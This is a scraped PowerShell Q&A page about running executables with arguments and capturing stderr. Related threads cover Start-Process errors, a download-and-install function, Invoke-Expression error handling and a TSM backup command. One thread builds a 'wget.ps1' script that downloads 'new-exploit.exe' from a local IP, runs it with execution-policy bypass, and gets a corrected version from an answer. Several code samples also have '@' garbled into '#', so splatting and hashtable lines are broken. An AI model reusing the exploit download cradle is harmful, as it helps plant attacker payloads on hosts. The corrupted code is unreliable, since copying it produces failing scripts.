Invoke executable with parameters and catch error output - powershell

I need to run an executable that requires some parameters in that form
c:\Program Files\Tools\Tool -p Parameter -d .....
The executable reports something to standard output what should be ignored. The error output lines should be stored in an array of lines for further processing in PowerShell.
I tried
$err = & "c:\Program Files\Tools\Tool -p Parameter"
Invoke-Command "c:\Program Files\Tools\Tool -p Parameter" -ErrorVariable errorOutput
The former doesn't catch stderr.
The latter failed because the string contains more than the executable name. -p is not part of the executable name. If I omit the double quotes, Invoke-Command interprets the -p as abbreviation for "PipelineVariable".
How should I run the executable while getting stderr?
Edit:
Inspired by the answer of js2010 I tried this
$err = $( $output= & "c:\Program Files\Tools\Tool -p Parameter" ) 2>&1
Unfortunately the result in $err is:
Tool.exe : ==> Error: Product Bar\1.01.01 has not been found!
At line:1 char:17
+ ... = ( $out = & "c:\Program Files\Tools\Tool -p Parameter" ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (==> Error: Prod...been found!:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Obviously that's not the stderr output of Tool.exe but also some PowerShell annotation.
Edit2:
The variable $err is still unusable if the & is omitted:
$err = $( $output= "c:\Program Files\Tools\Tool -p Parameter" ) 2>&1
Tool.exe : ==> Error: Product Bar\1.01.01 has not been found!
At line:1 char:17
+ ... = ( $out = "c:\Program Files\Tools\Tool -p Parameter" ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (==> Error: Prod...been found!:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError

You can try the below with your exe
I tested it with one of mine which takes 3 arguments and it works as expected
$proc = [System.Diagnostics.Process]::Start([System.Diagnostics.ProcessStartInfo]#{
'FileName' = "C:\Users\Vincen\Desktop\test.exe"
'Arguments' = 's d qa'
'CreateNoWindow' = $true
'UseShellExecute' = $false
'RedirectStandardOutput' = $true # to get stdout to $proc.StandardOutput
'RedirectStandardError' = $true # to get stderr to $proc.StandardError
})
$output = $proc.StandardOutput
$error1 = $proc.StandardError
#$output.ReadToEnd()
$error1.ReadToEnd()
EDIT: Added PS Version
$stdderror= "Error"
Start-Process -FilePath "C:\Users\XXXX\Desktop\Test.exe" -ArgumentList 's d qa' -RedirectStandardError $stdderror -RedirectStandardOutput $stddop -Wait
Get-Content $stdderror

$err has the error messages. Just ( ) wouldn't work. Both variables would get both outputs. Edited for your example.
$env:path += ';c:\Program Files\Tools'
$err = $( $output = Tool -p Parameter ) 2>&1

Related

Powershell Error: Cannot validate argument on parameter 'FilePath'. The argument is null or empty

I am trying to test the uninstallation of a program that is installed on my device. I am not sure what I need to do to specify the file path to this exe located on my device. Eventually this will need to be deployed organization wide, that's why I am attempting to use $PSScriptRoot. How do I specify the filepath to the exe I need deleted? It's a simple script but I keep getting the below error:
Transcript started, output file is C:\WINDOWS\TEMP\Python3.7.8Install.log
2022-10-26-03-08-47 - Install
Start-Process : Cannot validate argument on parameter 'FilePath'. The argument is null or empty. Provide an argument that is not null or empty, and then try the command again.
At C:\Users\grayvi02\Downloads\UpdatePython.ps1:13 char:27
+ $Process1 = Start-Process $Install_Path -ArgumentList $Install_Args - ...
+ ~~~~~~~~~~~~~
+ CategoryInfo : InvalidData: (:) [Start-Process], ParameterBindingValidationException
+ FullyQualifiedErrorId : ParameterArgumentValidationError,Microsoft.PowerShell.Commands.StartProcessCommand
2022-10-26-03-08-47 - Error - Install error with exitcode
Transcript stopped, output file is C:\WINDOWS\TEMP\Python3.7.8Install.log
$OutputFile = "$env:WINDIR\TEMP\Python3.7.8Install.log"
Writelog $Install_File = "python-3.7.8-amd64.exe"
Writelog $Install_Path = "`"$PSScriptRoot\$Install_File`""
$Install_Args = " /quiet /uninstall"
##########ERROR LOGGING#####
Function Set-WriteToLog ($Write1)
{
Write-Host "$(Get-Date -format yyyy-MM-dd-hh-mm-ss)`t-`t$Write1"
}
#########START OF SCRIPT BODY#############
Start-Transcript -Path $OutputFile
set-WriteToLog "Install $Install_File"
$Process1 = Start-Process $Install_Path -ArgumentList $Install_Args -Wait -NoNewWindow -passthru
$ErrorVal = $Process1.exitcode
If (#(0,1641,3010) -contains $Process1.exitcode)
{
Set-WriteToLog "Success - Install $Install_File with exitcode $ErrorVal"
}
else
{
Set-WriteToLog "Error - Install error with exitcode $ErrorVal"
}
Stop-Transcript
Exit $LASTEXITCODE

How do I pass multiple variables to a powershell function?

Just laying this out there. Here is my code for downloading an application and installing it.
# File Download and Install Function
function FDL($url){
# set to the default download directory; obviously can be wherever one wants
$DL = set-location $env:USERPROFILE\downloads\
# using this to capture just the filename
$FN = $url -split("/")
$FD = $FN[$FN.Length-1]
# Download File
Start-BitsTransfer -source $url -destination $DL\$FD
# Install File
Start-Process -NoNewWindow $DL\$FD -ArgumentList $args
}
PS:> FDL "https://www.kymoto.org/downloads/ISStudio_Latest.exe"
This function works perfectly every time assuming that the URL is correct!
Then I thought, what if I were to have the functionality to place the correct arguments for the installer type. So I came up with this:
# File Download and Install Function
function FDL($url,$p){
# set to the default download directory; obviously can be whereever one wants
$DL = set-location $env:USERPROFILE\downloads\
# using this to capture just the filename
$FN = $url -split("/")
$FD = $FN[$FN.Length-1]
switch ($p){
1 {" /passive /qb /norestart";break}
2 {" /sp- /silent /norestart /SUPPRESSMSGBOXES /CURRENTUSERS /NORESTART /NOCANCEL /FORCECLOSEAPPLICATION /RESTARTAPPLICATIONS";break}
3 {" /SILENT";break}
4 {" /quiet";break}
5 {" /S";break}
6 {" /Q";break}
}
Start-BitsTransfer -source $url -destination $DL\$FD
Start-Process -NoNewWindow $DL\$FD -ArgumentList $p
}
# 2 because this is an InnoSetup installer type
PS:> FDL 'https://www.kymoto.org/downloads/ISStudio_Latest.exe', 2
FAIL
Start-BitsTransfer : The number of items specified in the Source parameter do not match the number of items specified in the Destination parameter. Verify that the same
number of items is specified in the Source and Destination parameters.
At [dir]\FileDownloader Function.ps1:17 char:1
+ Start-BitsTransfer -source $url -destination $DL\$FD
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Start-BitsTransfer], ArgumentException
+ FullyQualifiedErrorId : StartBitsTransferArgumentException,Microsoft.BackgroundIntelligentTransfer.Management.NewBitsTransferCommand
Start-BitsTransfer :
At [dir]\FileDownloader Function.ps1:17 char:1
+ Start-BitsTransfer -source $url -destination $DL\$FD
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Start-BitsTransfer], Exception
+ FullyQualifiedErrorId : System.Exception,Microsoft.BackgroundIntelligentTransfer.Management.NewBitsTransferCommand
Start-Process : Cannot validate argument on parameter 'ArgumentList'. The argument is null or empty. Provide an argument that is not null or empty, and then try the
command again.
At [dir]\FileDownloader Function.ps1:20 char:50
+ Start-Process -NoNewWindow $DL\$FD -ArgumentList ($p)
+ ~~~~
+ CategoryInfo : InvalidData: (:) [Start-Process], ParameterBindingValidationException
+ FullyQualifiedErrorId : ParameterArgumentValidationError,Microsoft.PowerShell.Commands.StartProcessCommand
No matter how I adjust this code it comes out with the same error. Any suggestions or assistance here will be greatly appreciated!
Might not be exactly what you're looking for but it should give you a hint as to approach the code for a function in PowerShell.
A few pointers, parameters in PowerShell are either Positional or Named, about_Parameters explains both concepts. Most importantly, each argument is separated by a space and not by a comma.
You can parse an URL using the Uri Class, so, for getting the file name from your address, is as simple as:
# Last segment from this Uri (index -1 from the segment array)
([uri] 'https://www.kymoto.org/downloads/ISStudio_Latest.exe').Segments[-1]
-ArgumentList from Start-Process expects string[], you can pass an array of arguments instead of a single string as shown in Example 7.
You're never capturing the output from your switch ($p), which explains the error:
Start-Process : Cannot validate argument on parameter 'ArgumentList'. The argument is null or empty.
A hash table can be used instead of a switch.
Lastly, I have added a -PassThru switch, now if you call the function with the switch activated (DownloadFile -PassThru -Uri ...), the function will output the Process instance representing the started process.
function DownloadFile {
[cmdletbinding()]
param(
[parameter(Mandatory)]
[uri] $Uri,
[parameter()]
[ValidateSet(1,2,3,4,5,6)]
[int] $Arguments,
[parameter()]
[string] $Destination = "$env:USERPROFILE\Downloads",
[parameter()]
[switch] $PassThru
)
$arg = #{
1 = '/passive', '/qb', '/norestart'
2 = #(
'/sp-', '/silent', '/norestart', '/SUPPRESSMSGBOXES'
'/CURRENTUSERS', '/NORESTART', '/NOCANCEL'
'/FORCECLOSEAPPLICATION', '/RESTARTAPPLICATIONS'
)
3 = '/SILENT'
4 = '/quiet'
5 = '/S'
6 = '/Q'
}
$destFile = Join-Path $Destination -ChildPath $Uri.Segments[-1]
Start-BitsTransfer -Source $Uri -Destination $destFile
$param = #{
FilePath = $destFile
ArgumentList = $arg[$Arguments]
NoNewWindow = $true
PassThru = $PassThru.IsPresent
}
Start-Process #param
}
DownloadFile -Uri 'https://www.kymoto.org/downloads/ISStudio_Latest.exe' -Arguments 2

My Powershell Script Doesn't Download File and Gives Null-Valued Expression Error

Here is the my powershell script to download a file from a remote machine:
Powershell Console:
C:\Users\XXX> echo $storageDir = $pwd > wget.ps1
C:\Users\XXX> echo $webclient = New-Object System.Net.WebClient >> wget.ps1
C:\Users\XXX> echo $url = "http://172.16.3.89/new-exploit.exe" >> wget.ps1
C:\Users\XXX> echo $file = "new-exploit.exe" >> wget.ps1
C:\Users\XXX> echo $webclient.DownloadFile($url,$file) >> wget.ps1
The last line gives the following error:
Output:
You cannot call a method on a null-valued expression.
At line:1 char:29
* echo $webclient.DownloadFile <<<<< ($url,$file) >> wget.ps1
*CategoryInfo : InvalidOperation: (DownloadFile:String [], RuntimeException
*FullyQualifiedErrorId : InvokeMethodOnNull
If I handle the last line, I can download the file in powershell with the following command :
Powershell Console:
C:\Users\XXX> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -
NoProfile -File wget.ps1
How can I solve the $webclient "null-valued expression" problem? Do you have any idea?
You are not writing the lines as-is in the output file, they are being interpreted and executed.
For example, the 1st line writes to wget.ps1 3 things: the value of the variable $storageDir, an equals sign, and the value of the variable $pwd. The null-valued expression indicated is the $webclient variable, which indeed is evaluated to null when you execute the 5th line.
In order to achieve what you mean, you should put into single-quote the contents of every line:
echo '$storageDir = $pwd' > wget.ps1
echo '$webclient = New-Object System.Net.WebClient' >> wget.ps1
echo '$url = "http://172.16.3.89/new-exploit.exe"' >> wget.ps1
echo '$file = "new-exploit.exe"' >> wget.ps1
echo '$webclient.DownloadFile($url,$file)' >> wget.ps1
i don't really understand what you trying to do but in order to download a File you could use this snippet as reference:
$downloadPath = "http://ipv4.download.thinkbroadband.com/5MB.zip"
$storageDir = "$PSScriptRoot\5mb.zip"
(New-Object System.Net.WebClient).DownloadFile($downloadPath, $storageDir)
Source:
https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
Hope this helps!
Greetz

Exceptions swallowed when capturing Invoke-Expression output and redirecting stderr

I want to capture and log all output (redirecting stderr) from Invoke-Expression calls, but by doing that any exception that would normally be thrown seems to be swallowed.
Assuming c:\temp\test already exists this command will throw an exception:
PS U:\> $cmd = "mkdir c:\temp\test"
PS U:\> $output = Invoke-Expression $cmd
New-Item : Item with specified name C:\temp\test already exists.
At line:38 char:24
+ $scriptCmd = {& <<<< $wrappedCmd -Type Directory #PSBoundParameters }
+ CategoryInfo : ResourceExists: (C:\temp\test:String) [New-Item], IOException
+ FullyQualifiedErrorId : DirectoryExist,Microsoft.PowerShell.Commands.NewItemCommand
But, if I redirect stderr, then nothing happens:
PS U:\> $cmd = "mkdir c:\temp\test 2>&1"
PS U:\> $output = Invoke-Expression $cmd
PS U:\>
This is a simplified example, and I'm using Invoke-Expression in a function for many types of calls, and logging the output. So it is not just a matter of making this call work.
Furthermore not capturing the output will also throw the exception correctly:
PS U:\> $cmd = "mkdir c:\temp\test 2>&1"
PS U:\> Invoke-Expression $cmd
New-Item : Item with specified name C:\temp\test already exists.
At line:38 char:24
+ $scriptCmd = {& <<<< $wrappedCmd -Type Directory #PSBoundParameters }
+ CategoryInfo : ResourceExists: (C:\temp\test:String) [New-Item], IOException
+ FullyQualifiedErrorId : DirectoryExist,Microsoft.PowerShell.Commands.NewItemCommand
I see that $Error actually contains the exception, but I don't know if I can be sure that it contains only errors related to the Invoke-Expression call.
But the question stands. How can I capture all output (including stderr) from Invoke-Expression, and still get exceptions thrown?
$Error is an array that buffers errors. The most recent error is stored in $error[0]. You could use this in combination with $LASTEXITCODE and $?
For your case I think -ErrorVariable is more appropriate. It is a common variable. See get-help about_commonparameters for more information. The syntax is -ErrorVariable [+]<variable-name>. For example, the following command creates the $e variable and then stores any errors from Invoke-Expression in it:
Invoke-Expression $cmd -ErrorVariable e
Note that $e can contain more than one error.
So, to answer your question about how to capture all output, and still show errors:
$output = Invoke-Expression $cmd -ErrorVariable e

Run tdpsql command from powershell

I have a script that requires 3 mandatory input parameters that will be used to run the backup command for tdpsql.
type (FULL, DIFF or LOG)
SQLServerinstancename
Database (SYSTEM, ALL, )
Within the powershell script I have the following line
$cmd = "C:\Progra~1\Tivoli\TSM\TDPSql\tdpsqlc.exe backup " + $idatabase + " " + $action + " " + $parameter + " /LOGFILE=" + $logdir + $logfile + "" $tdpsqlexe - The tdpsqlc exe.
$idatabase - Database name
$action = FULL\DIFF\LOG
$parameter = /sqlserver=TCP:" + $sqlserverinstance + " /SQLAUTH=INT /TSMOPTFile='" + $dsmoptfilename + "' /EXCLUDEDB=" + $exclude
& $cmd
When I echo the command it reports out what I use to run it using powershell command line but when I try to run it from Powershell with the & it fails with the following
The term
C:\Progra~1\Tivoli\TSM\TDPSql\tdpsqlc.exe
backup master FULL
/sqlserver=TCP:
/SQLAUT H=INT
/TSMOPTFile=C:\Progra~1\Tivoli\TSM\TDPSql\dsm.opt /EXCLUDEDB=tempdb /LOGFILE=<logfile>
is not recognized as the name of a
cmdlet, function, script file, or
operable program.Check the spelling of
the name, or if a path was included,
verify that the path is correct and
try again. At TDPSQLBackup.ps1:166
char:6
+ & <<<< $cmd >> test2.txt
+ CategoryInfo : ObjectNotFound:
(C:\Progra~1\Tiv...forsqlimran.txt:String)
[], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
Any help will be really appreciated.
You might try Invoke-Expression $cmd instead of & $cmd.
Yes better use Invoke-Expression, but if you still want to use & you can do it in this way.
$cmd = "C:\Windows\System32\notepad.exe"
$params = "C:\temp\file.txt"
& $cmd $params
Using a var for program file ans a var for parameters.
Instead of running a batch command you'd better try Powershell cmdlets as follow
import-module "C:\Program Files\Tivoli\Flashcopymanager\fmmodulemmc.dll"
import-module "C:\Program Files\Tivoli\Flashcopymanager\fmmoduleSQL.dll"
$startTime = get-date
Backup-DpSqlComponent -Name AdventureWorks2012 -BackupDestination TSM -BackupMethod Legacy -Full
$endTime = get-date
$activity = Get-FcmMmcActivity -StartTime $startTime -EndTime $endTime
$activity
Reference link
http://www-01.ibm.com/support/docview.wss?uid=swg21974345